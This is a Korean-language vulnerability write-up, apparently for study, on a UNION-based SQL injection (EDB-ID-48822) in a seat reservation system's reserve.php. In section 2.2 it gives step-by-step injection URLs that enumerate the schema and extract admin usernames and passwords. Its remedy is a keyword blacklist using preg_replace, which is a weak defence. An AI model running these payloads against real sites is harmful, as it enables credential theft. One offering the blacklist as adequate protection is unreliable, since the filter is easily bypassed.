[EDB-ID-48822] 영화 좌석 예약 시스템에서 입력 값 검증 누락으로 인해 발생되는 UNION SQL Injection 취약점
목차
1. 개요
1.1. 취약점 분석 배경
1.2. 취약점 정보
2. 분석
2.1. 취약점
2.2. 취약점 실행
2.3. 취약점 분석
3. 결론
4. 대응 방안
5. 참고 자료
1. 개요
1.1. 취약점 분석 배경
OWASP TOP 10 A1 의 Injection 취약점이며 가장 대표적인 취약점은 SQL Injection 이다. SQL Injection은 1998년 12월 부터 시작된 취약점으로 오래됐지만 여전히 효과적인 공격이며, 데이터 손실, 파괴, 권한 없는 사용자에게 정보 노출 등의 결과를 초래할 수 있다. SQL Injection 중 Union based SQL Injection을 이용하여 어떠한 결과를 초래하는지, 취약점이 어떤 방식으로 악용될 수 있는지 알아보기 위해 분석하고 대응 방안에 대해 작성하게 되었다.
1.2. 취약점 정보
취약점 이름 | EDB-ID-48822 | ||
취약 코드 | reserve.php | ||
공격 유형 | Union based SQL Injection | ||
테스트 공격환경 | Kali, Firefox | ||
피해 환경 | Ubuntu, Apapche2, mysql |
2. 분석
2.1. 취약점
2.1.1 SQL Injection
SQL Injection이란 코드 인젝션의 기법으로 데이터베이스와 연동되어 있는 애플리케이션의 입력 값을 조작하여 DBMS가 의
도되지 않은 결과를 반환하도록 하는 공격이다. 그리고 DB 정보 조회, 변조, 삭제 등이 가능하며 사용자 및 관리자에 대한 인
증 절차 우회가 가능하다.
2.1.2 Union SQL Injection
Union은 2개 이상의 쿼리를 요청하여 결과를 얻는 연산자 이다. Union SQL Injection은 공격자가 Union을 악용하여 정상 적인 요청에 추가 쿼리를 삽입하여 정보를 얻어내는 공격이다.
table1 과 table2를 Union을 실행하면 결과를 얻을 수 있다. 단, Union 연산자는 table의 동일한 컬럼의 개수와 데이터타입을 가져야한다 것이다.
2.2. 취약점 실행
1. 영화 좌석 예약 사이트로 예약할 수 있는 영화들을 나열한다.
2. 이미지 클릭하면 다음과 같이 영화 좌석 예약 페이지로 넘어간다.
3. Union SQL Injection 취약점 존재를 알 수 있다.
1. localhost/index.php?page=reserve&id='' union select 1,2,3,4,5,6,7,8; %23 입력해주면 컬럼의 수, 각 컬럼의 위치를 알 수 있다.
2. 영화 제목의 위치가 2, Description 위치가 4, duration 위치가 5, 나머지 위치는 정확히 알 수 없다.
2.2.1 공격 후 얻은 정보
1. DB 정보 : localhost/index.php?page=reserve&id=' ' union select 1,schema_name,3,4,5,6,7,8 from information_schema.schemata; %23
mysql을 실행 중인 것을 얻을 수 있었다.
2. localhost/index.php?page=reserve&id=' ' union select 1,version(),3,4,5,6,7,8; %23
우분투를 사용중이며 어떠한 버전을 사용하는지 정보를 얻을 수 있었다.
3. localhost/index.php?page=reserve&id=' ' union select 1,database(),3,4,5,6,7,8; %23
데이터베이스 이름을 알 수 있었다.
4. localhost/index.php?page=reserve&id=' ' union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema= 'theater_db';%23
총 5개의 table 사용 중이며, 테이블 이름을 알 수 있었다.
5. localhost/index.php?page=reserve&id=' ' union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users'; %23
계정 정보는 'users'에 들어 있음을 추측하여 'user' 테이블의 컬럼을 얻을 수 있었다.
6. localhost/index.php?page=reserve&id=' ' union select 1,username,3,password,5,6,7,8 from users; %23
'users' 테이블의 정보를 얻어 관리자의 id와 password를 추출할 수 있었다.
2.3. 취약점 분석
2.3.1 취약점 동작 방식
영화 좌석 예약 시스템의 영화 좌석을 예약하는 페이지에서 취약점이 발생 한 것을 볼 수 있다. 영화 좌석 예약 페이지는
reserve.php 파일에서 동작을 한다.
공격자의 비정상 query 요청에 DB에서 처리 후 결과를 공격자에게 전달합니다.
2.3.2 취약 코드 분석
취약점 발생 부분은 $id에 값을 검증 없이 입력을 받고 query를 DB에 전달을 한다. 검증 없이 입력을 받아 sql의 함수 등을
이용하여 union sql Injection 취약점으로 데이터베이스의 정보 및 데이터를 공격자에게 전달 된다.
3. 결론
위 취약점은 비록 오래됐지만, 매우 강력한 취약점이다. 다른 취약점으로 연계되어 OWASP 2017 TOP 10 A5인 취약한 접근제어(관리자 페이지 노출 취약점) 존재하여 위 취약점에서 얻은 관리자 id와 password를 통해 로그인이 가능하며, 홈페이지 운영에 필요한 중요 정보가 노출, 사용자 데이터 수정 등이 가능하여 홈페이지 운영자에게 막대한 피해가 유발할 수 있다.
4. 대응 방안
해당 취약점은 OWASP TOP 10 기재되어 있는 유명한 취약점 이다. 그리고 매우 강력하며, 여전히 효과적인 공격이다. 하지만, 오래 된 만큼 취약점 대응방안이 많이 있으면 미리 대비 할 수 있는 공격이다. SQL Injection 대응 방안에는 웹 방화벽 도입, 시큐어 코딩, 지속적인 취약점 점거, 모니터링 등이 있다. 해당 취약점에서는 기본적인 시큐어 코딩이 필요하다 생각하여 시큐어코딩의 입력값 유효성 검사에 대해 대응 방안을 제시 할 것이다.
제시한 방법은 입력값 유효성 검사를 하는 블랙 리스트 방식이다. preg_replace 함수를 이용하여 $id 값에 union 문자열이 입력 받을 시 공백으로 치환 하도록 했다.
시큐어 코딩 적용 후 union sql Injection 취약점을 재시도 했을 때 공격이 실패 한 것을 볼 수 있다.
union 문자열 대해서만 제시했지만, 또 다른 sql injection 취약점을 대비하기 위해 문자열을 미리 공백 등으로 치환하도록 한다.
- 특수문자 : ', ", =, &, |, !, (, ), {, }, $, %, @, #, -- 등
- 예약어 : UNION GROUP BY, IF, COLUMN, END, INSTANCE 등
- 함수명 : DATABASE(), CONCAT(), COUNT(), LOWER() 등
5. 참고 자료
1. 참고 자료
- https://wiki.owasp.org/images/b/bd/OWASP_Top_10-2017-ko.pdf
2. 참고 사이트
- http://msdn.microsoft.com/ko-kr/library/ms191141(v=sql.105).aspx
- https://www.exploit-db.com/exploits/48822
Seat Reservation System 1.0 - 'id' SQL Injection
Seat Reservation System 1.0 - 'id' SQL Injection EDB-ID: 48822 CVE: N/A Date: 2020-09-21
www.exploit-db.com